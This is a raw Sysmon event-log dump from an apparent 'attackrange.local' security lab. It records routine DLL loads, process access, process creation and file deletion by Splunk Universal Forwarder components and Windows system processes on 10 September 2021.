(rs1_release.210107-1130)Microsoft OLE for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationOLE32.DLLMD5=676B0A1FB2A01D19AECB1F19883B6FC4,SHA256=56DEB219840DBAF9DAF645AD5D79AF9AB05F20E688382854DD487F440B257552,IMPHASH=9724475F92787AFC45A3BA458C0DCDC5trueMicrosoft WindowsValid 734700x800000000000000056285Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:17.997{7BD73061-74E1-613B-A50B-00000000F001}1304C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxmlsec-openssl.dll-----MD5=F30BB43EC30BE50400780223450492CD,SHA256=867D0453E285A5C29A4EFA039D2399662DCCAC98F88C46B0A41CEFB6B68DD836,IMPHASH=464BF3FDF330E6A15D24CC679EF7F72EtrueSplunk, Inc.Valid 734700x800000000000000056284Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:17.997{7BD73061-74E1-613B-A50B-00000000F001}1304C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\gdi32full.dll10.0.14393.4530 (rs1_release.210705-0736)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=9D82D7DBC3D9E0D8E86D10A5B1BF736E,SHA256=270CA1A42ECB4C22E826C1C95924F0014CC99254AB55B7167DA144D45E238E6D,IMPHASH=059EB3BAA45E35C79FAE66F7279059EEtrueMicrosoft WindowsValid 734700x800000000000000056283Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:17.997{7BD73061-74E1-613B-A50B-00000000F001}1304C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxmlsec.dll-----MD5=D98BAB348C28C8CFCC11EDB575E2557A,SHA256=ADA3F1256B175ECC390F126D2730D7A1AAB5A53F1AF205A7667D8010416602F9,IMPHASH=3295DC2518E43BEF226F8847873D20C2trueSplunk, Inc.Valid 734700x800000000000000056282Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:17.997{7BD73061-74E1-613B-A50B-00000000F001}1304C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxslt.dll-----MD5=B8D3119CE62331C6A9B170DA0A608F28,SHA256=7D6C6B7C542B4E67AA468FEB12044E2EE34CE8F8A68C7665D7861F3363B6E66A,IMPHASH=06C8C57E25207671F4639FDBFA0212ECtrueSplunk, Inc.Valid 734700x800000000000000056281Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:17.997{7BD73061-74E1-613B-A50B-00000000F001}1304C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Program Files\SplunkUniversalForwarder\bin\ssleay32.dll1.0.2tOpenSSL Shared LibraryThe OpenSSL ToolkitThe OpenSSL Project, http://www.openssl.org/ssleay32.dllMD5=B20FA07A7A61791EE537B5945429E141,SHA256=EF53BC2AB58BC548EFA249B0B8F2E1FBB9D4739EF27B0C67DFF1468D555329D3,IMPHASH=E09B42A7EA1725DA2CD99223AD969C63trueSplunk, Inc.Valid 734700x800000000000000056280Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:17.997{7BD73061-74E1-613B-A50B-00000000F001}1304C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\gdi32.dll10.0.14393.4169 (rs1_release.210107-1130)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=551D603CEC947F586DB9FADEF4D2EBA6,SHA256=143125EFF9F3BC5B3F3BE505F3C3814393807B9CACB6AA5F75D39C77EC0D4ED8,IMPHASH=A24D446CB7FCBB6D29B592603C0BE00CtrueMicrosoft WindowsValid 734700x800000000000000056279Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:17.997{7BD73061-74E1-613B-A50B-00000000F001}1304C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\nsi.dll10.0.14393.3297 (rs1_release_1.191001-1045)NSI User-mode interface DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationnsi.dllMD5=994E2A6D2A0B38E0968B3998E42033AC,SHA256=491F2D1DE09C39B324BCF5800198AC7CCE755F4023F1FEB3854D33716461BC27,IMPHASH=B01B7830101BC0D5FBDE4FFE2B170CF7trueMicrosoft WindowsValid 734700x800000000000000056278Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:17.997{7BD73061-74E1-613B-A50B-00000000F001}1304C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\win32u.dll10.0.14393.0 (rs1_release.160715-1616)Win32uMicrosoft® Windows® Operating SystemMicrosoft CorporationWin32u.DLLMD5=6A40F9C63B52CB4E8271CF3418618033,SHA256=A2BE23DA7AADFA9118130C939CD59D86E590957172FF404511EE6C5EC5147F15,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000056277Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:17.997{7BD73061-74E1-613B-A50B-00000000F001}1304C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\ucrtbase.dll10.0.14393.3659 (rs1_release_1.200410-1813)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationucrtbase.dllMD5=9804D130E8E7178738C2B9808091B427,SHA256=6053B7CC85846F15094475116A8C57BA89FE99FDD1978C54E8A7E2114E318FE3,IMPHASH=57ABD1FDE351971A01E912069E11B44CtrueMicrosoft WindowsValid 734700x800000000000000056276Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:17.997{7BD73061-74E1-613B-A50B-00000000F001}1304C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\IPHLPAPI.DLL10.0.14393.2339 (rs1_release_inmarket.180611-1502)IP Helper APIMicrosoft® Windows® Operating SystemMicrosoft Corporationiphlpapi.dllMD5=3CD38EDF9CA12F91131EDEE32D1C9DF5,SHA256=AF2440640BF8BDEAAF0DECDD7C354158E415ED0AA340ABA7A6CCCDC09C1E728B,IMPHASH=98738BA55485CCA932F6D222F47FFC55trueMicrosoft WindowsValid 734700x800000000000000056275Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:17.997{7BD73061-74E1-613B-A50B-00000000F001}1304C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\user32.dll10.0.14393.4169 (rs1_release.210107-1130)Multi-User Windows USER API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationuser32MD5=883B59C5557E8A9B3C1E1ED1CA48CD5A,SHA256=271800C20A96587265BF83DE2EFC11329EEB2B6C0D57E5E0BCD137FB96BFE6E3,IMPHASH=070F257E4632BC576557C4085595EAA4trueMicrosoft WindowsValid 734700x800000000000000056274Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:17.997{7BD73061-74E1-613B-A50B-00000000F001}1304C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxml2.dll2.9.9libxml2 librarylibxml2-libxml2.dllMD5=0E7B7B3B25A2F094EB3A7BAF471154B8,SHA256=6CFAC8D8D5B7345F2C6CC82CBF8F9DD475881EA260346BE283E52B822F2CCAC1,IMPHASH=6DA659461618DB73B9BD17D114677D20trueSplunk, Inc.Valid 734700x800000000000000056273Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:17.997{7BD73061-74E1-613B-A50B-00000000F001}1304C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\dnsapi.dll10.0.14393.4350 (rs1_release.210407-2154)DNS Client API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationdnsapiMD5=D7651F99299B13D576A72643BFC44944,SHA256=589302E630C473DBDF4CE92C59F00B029FCA0C228E7111A764166E16025FA1A9,IMPHASH=3C043C6FF0F62DAEB8819606F79C5ECCtrueMicrosoft WindowsValid 734700x800000000000000056272Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:17.997{7BD73061-74E1-613B-A50B-00000000F001}1304C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\msvcrt.dll7.0.14393.2457 (rs1_release_inmarket.180822-1743)Windows NT CRT DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcrt.dllMD5=0AF8989DD67A135B536CF948E3EFB7EB,SHA256=C693DA0EF4DCF3BC244661B9FD280FE12C3053FDD7B977712C0CF210831B2EF4,IMPHASH=07D6F84E3C8FD0D2C32F9398A0369BAFtrueMicrosoft WindowsValid 734700x800000000000000056271Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:17.997{7BD73061-74E1-613B-A50B-00000000F001}1304C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\activeds.dll10.0.14393.4169 (rs1_release.210107-1130)ADs Router Layer DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationADsMD5=C62947CD1080E3B128B517AE91B22D6D,SHA256=6BB5D8967F822B5B1646DC9069212914D36C4D3D65E086AC0890B6A02112B438,IMPHASH=C7DF3F2CF025F0BEDA797705E4F4AFBBtrueMicrosoft WindowsValid 734700x800000000000000056270Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:17.997{7BD73061-74E1-613B-A50B-00000000F001}1304C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\secur32.dll10.0.14393.2273 (rs1_release_1.180427-1811)Security Support Provider InterfaceMicrosoft® Windows® Operating SystemMicrosoft Corporationsecur32.dllMD5=BCF1B2F76F8A3A3E9E8F4D4322954651,SHA256=46B327CD50E728CBC22BD80F39DCEF2789AB780C77B6D285EEB90126B06EEEB5,IMPHASH=0D8FF9DE2DA5C07D680347B1A098E759trueMicrosoft WindowsValid 734700x800000000000000056269Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:17.997{7BD73061-74E1-613B-A50B-00000000F001}1304C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\advapi32.dll10.0.14393.4467 (rs1_release.210604-1844)Advanced Windows 32 Base APIMicrosoft® Windows® Operating SystemMicrosoft Corporationadvapi32.dllMD5=A8CDCAC5C32D14ED8AADDF5489FC5D55,SHA256=140F07A8F6780DAFE20CC4FBE86C9332FB2F0C26ED8F49914BD05265C63EF6F1,IMPHASH=B511E4B82A44D3731CDA46A74F5D57EAtrueMicrosoft WindowsValid 734700x800000000000000056268Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:17.997{7BD73061-74E1-613B-A50B-00000000F001}1304C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\rpcrt4.dll10.0.14393.4467 (rs1_release.210604-1844)Remote Procedure Call RuntimeMicrosoft® Windows® Operating SystemMicrosoft Corporationrpcrt4.dllMD5=B0C4BF9491FB453B77399E3C56C11DC8,SHA256=66D5D1B3D25D15EA8737C8B2EF83E770BA10931868F24DCACC50936F0A0BAC08,IMPHASH=EB45E6A4165ECBE63E7CA7D14DE0BD8EtrueMicrosoft WindowsValid 734700x800000000000000056267Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:17.997{7BD73061-74E1-613B-A50B-00000000F001}1304C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\sechost.dll10.0.14393.3808 (rs1_release.200707-2105)Host for SCM/SDDL/LSA Lookup APIsMicrosoft® Windows® Operating SystemMicrosoft Corporationsechost.dllMD5=E6B98644CD3B912C44C39CC0996790A9,SHA256=23BE56E1B8DBA449C0959753175BD15457EC88E93E9E8B86489266347959A6F2,IMPHASH=D6E06125849E8565A50F366A0149FB40trueMicrosoft WindowsValid 734700x800000000000000056266Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:17.997{7BD73061-74E1-613B-A50B-00000000F001}1304C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\ws2_32.dll10.0.14393.3241 (rs1_release_inmarket.190910-1801)Windows Socket 2.0 32-Bit DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationws2_32.dllMD5=06E82905620845A7C185BDEE85CC4140,SHA256=B75C9B080293F85568912BABE749F403144959206F9C6BAB36B628E8F77C5DA0,IMPHASH=76A5AA3DF6083D853F576403C8F841A8trueMicrosoft WindowsValid 10341000x800000000000000056265Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:17.997{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-74E1-613B-A50B-00000000F001}1304C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000056264Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:17.997{7BD73061-74E1-613B-A50B-00000000F001}1304C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\KernelBase.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationKernelbase.dllMD5=0F627827D9CFFA8E0BCF30F013FB7209,SHA256=EA47C3E471801ACA92EE449C66CF785EA670ADE92A5A2D5CDB81C93DD72ABEF0,IMPHASH=05349EBAA635D77714868763D44881E9trueMicrosoft WindowsValid 734700x800000000000000056263Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:17.997{7BD73061-74E1-613B-A50B-00000000F001}1304C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\kernel32.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel32MD5=A5AD62615D2361BFAEC6C047B199184C,SHA256=B43F3DFDAF7BAA7A2B97015631F96CE429C50348D380080CFC29C36F959D7886,IMPHASH=3CE0779E0F4E275CD51A359A98CCC682trueMicrosoft WindowsValid 734700x800000000000000056262Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:17.997{7BD73061-74E1-613B-A50B-00000000F001}1304C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\ntdll.dll10.0.14393.4530 (rs1_release.210705-0736)NT Layer DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationntdll.dllMD5=36B87C41EE39F3051D116F735EBEF866,SHA256=9C45BAE6D7E27B3AE04BBF88B96686C04ED6A43695558E82B687013BA0383F8A,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000056261Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:17.997{7BD73061-74E1-613B-A50B-00000000F001}1304C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe8.0.2Network monitorSplunk ApplicationSplunk Inc.splunk-netmon.exeMD5=8746B8C1724B67C2B1261446C0CFAA57,SHA256=7EFD09FD383FAA75C5D2990E6DBBFD846AEAA08B7037C7D66B4A0EF2AE0866B3,IMPHASH=7B985F47B35272AD7B5218255ACE7AECtrueSplunk, Inc.Valid 10341000x800000000000000056260Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:17.997{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000056259Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:17.997{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000056258Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:17.997{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000056257Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:17.997{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000056256Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:17.997{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-74E1-613B-A50B-00000000F001}1304C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000056255Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:17.997{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-74E1-613B-A50B-00000000F001}1304C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000056254Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:17.998{7BD73061-74E1-613B-A50B-00000000F001}1304C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe8.0.2Network monitorSplunk ApplicationSplunk Inc.splunk-netmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=8746B8C1724B67C2B1261446C0CFAA57,SHA256=7EFD09FD383FAA75C5D2990E6DBBFD846AEAA08B7037C7D66B4A0EF2AE0866B3,IMPHASH=7B985F47B35272AD7B5218255ACE7AEC{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000018103Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:08:19.666{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=8972ADA7F869EDFDFC344BB2F02497C1,SHA256=FABFECC3284F24149999E58371CD6F7405D1C3E985B20345CD2934A587BC40BB,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000056417Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:19.697{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=9203F4F214FB711FA9B4509364BFFA16,SHA256=F374754F3ABC7145D8BF7E1C3A42BBDED121D3959B953EB47269F5B5BF2E5F4B,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 734700x800000000000000056416Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:19.596{7BD73061-74E3-613B-A70B-00000000F001}4832C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\kernel.appcore.dll10.0.14393.2312 (rs1_release.180607-1919)AppModel API HostMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel.appcore.dllMD5=0AF5EF8A7FEFD4B37036B71514FC20CF,SHA256=D4F178583F6F33794D42B4DB11008494E9CD9F069C2AD2CA304DA63F9B5F659C,IMPHASH=94524C03C5380F78283785F1E05E667DtrueMicrosoft WindowsValid 10341000x800000000000000056415Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:19.596{7BD73061-74E3-613B-A70B-00000000F001}48325964C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e675|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e1a6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+6b453|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+8e8530|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000056414Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:19.596{7BD73061-74E3-613B-A70B-00000000F001}4832C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\dbgcore.dll10.0.14321.1024 (debuggers(dbg).210127-1811)Windows Core Debugging HelpersMicrosoft® Windows® Operating SystemMicrosoftDBGCORE.DLLMD5=72E8FEC8419AB470FB737883463688FE,SHA256=1DA7D2D2D1C4E6EC17101A4997C4AA610818730D63C72C1D2084ABA3F25C5146,IMPHASH=F67CBD9561C1FEF51B817BA184E81D2EtrueMicrosoft WindowsValid 734700x800000000000000056413Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:19.596{7BD73061-74E3-613B-A70B-00000000F001}4832C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\dbghelp.dll10.0.14321.1024 (rs1_release.160715-1616)Windows Image HelperMicrosoft® Windows® Operating SystemMicrosoftDBGHELP.DLLMD5=2C92DF5D32661FB4B81B08B72B2102A7,SHA256=BCEF4DEBDE7D8D6916EE3D3E5E63A725E03A058AABCD7DD49DF9D48B16E96D1A,IMPHASH=E7FD2920222985E31019D022BB39EFBEtrueMicrosoft WindowsValid 734700x800000000000000056412Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:19.428{7BD73061-74E3-613B-A70B-00000000F001}4832C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\cryptbase.dll10.0.14393.0 (rs1_release.160715-1616)Base cryptographic API DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptbase.dllMD5=51FCB0FDEFCB9A3E4A1DC8C8673BC63C,SHA256=63A0E1A76B7ABCF56E44B548568649FFB6B5609402746D48A4DC77CCED20F5FE,IMPHASH=9E9C9DFD04CDDF2B6F1412BF096AEAF4trueMicrosoft WindowsValid 734700x800000000000000056411Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:19.428{7BD73061-74E3-613B-A70B-00000000F001}4832C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\rsaenh.dll10.0.14393.4467 (rs1_release.210604-1844)Microsoft Enhanced Cryptographic ProviderMicrosoft® Windows® Operating SystemMicrosoft Corporationrsaenh.dllMD5=28140830C342F475A597B2D54C42DFFA,SHA256=99E23D0177C6DC59AD72DEEC46CFB995828EF567F001261BC65532B6DDEAD862,IMPHASH=C918D75BDB7774C087BB6C0C9C0A7686trueMicrosoft WindowsValid 734700x800000000000000056410Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:08:19.428{7BD73061-74E3-613B-A70B-00000000F001}4832C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\cryptsp.dll10.0.14393.2969 (rs1_release.190503-1820)Cryptographic Service Provider APIMicrosoft® Windows® Operating SystemMicrosoft 